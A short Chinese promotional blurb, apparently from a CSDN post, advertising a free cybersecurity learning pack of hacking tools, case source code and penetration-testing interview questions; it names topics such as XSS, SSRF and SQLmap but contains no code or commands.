“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取